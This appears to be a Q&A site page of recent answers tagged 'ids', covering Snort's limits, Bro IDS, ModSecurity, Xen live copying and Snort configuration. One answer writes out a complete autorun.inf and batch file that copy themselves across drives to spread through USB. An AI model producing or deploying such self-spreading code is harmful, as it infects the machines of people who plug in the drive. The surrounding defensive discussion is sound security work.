New answers tagged ids
2
Snort isn't very good at keeping state over a longer period of time than a tcp session. Snort is very much signature based. What you want is more of a flow/heuristic based IDS. I run Snort AND the somewhat unknown and very under-rated Bro IDS:
http://bro.org
This provides MUCH better coverage and visibility into your network than Snort alone.
...
1
Web Application layer Firewall like Modsecurity and Application layer filter like snort ruleset are generally signature bases rule. These rulesets are very comprehensive and covers most of application layer attacks like XSS, SQL injection. Though these firewall have support to protect against DoS through session and user level counters but this not generally ...
1
I just wanted to touch on Adnan's post. Since on the subject of USB autorun, here is a real world example using the same scheme.
The recent conficker virus used Autorun to infect systems. While not completely automatic, it presents itself as a legit autorun option that most people are used to choosing without giving much thought. Conficker used a similar ...
3
autorun.inf
[autorun]
open=file.bat
shell\option1=Open
shell\option1\command=file.bat
file.bat
@echo off
copy autorun.inf C:\ > NUL
copy file.bat C:\ > NUL
copy autorun.inf D:\ > NUL
copy file.bat D:\ > NUL
explorer .
Put them together, and you got something that will spread through USB.
On a more serious note, don't expect that someone ...
3
Xen allows for transparent copying of a live machine (with Remus). The guest system ("domU" in Xen terminology) needs not be aware of this process. Consequently, if the VPS provider employees are intent on having a look at your machine without being detected, well, they technically can: they "just" have to make a live copy. This is inherent to the concept of ...
1
First off, you will need to provide more information in your question to help this audience narrow down and assist you. As you have proposed it, your question is like asking - my house might have been broken into, how can I tell while I am on vacation in africa.
Secondly, having installed linux systems (fedora being one of them) on a variety of hardware ...
2
Short answer: no.
Longer answer: If you've got coding chops, you basically need to add a new detection keyword that acts almost exactly like the threshold keyword, except it alerts for any packets after s seconds, rather than c packets within s seconds. This might be appealing if you're already building your sensors from source in your infrastructure. Not ...
2
Snort doesn't support wildcards or regular expressions on IP addresses/ranges. It does support CIDR notation for IP ranges, a few pre-configured variables in snort.conf like $HOME_NET and similar, and a ! for IP or IP range negation (edit: Oh, and of course any, but not !any).
What you could do however is to define a new ipvar variable, fill it with the ...
Top 50 recent answers are included
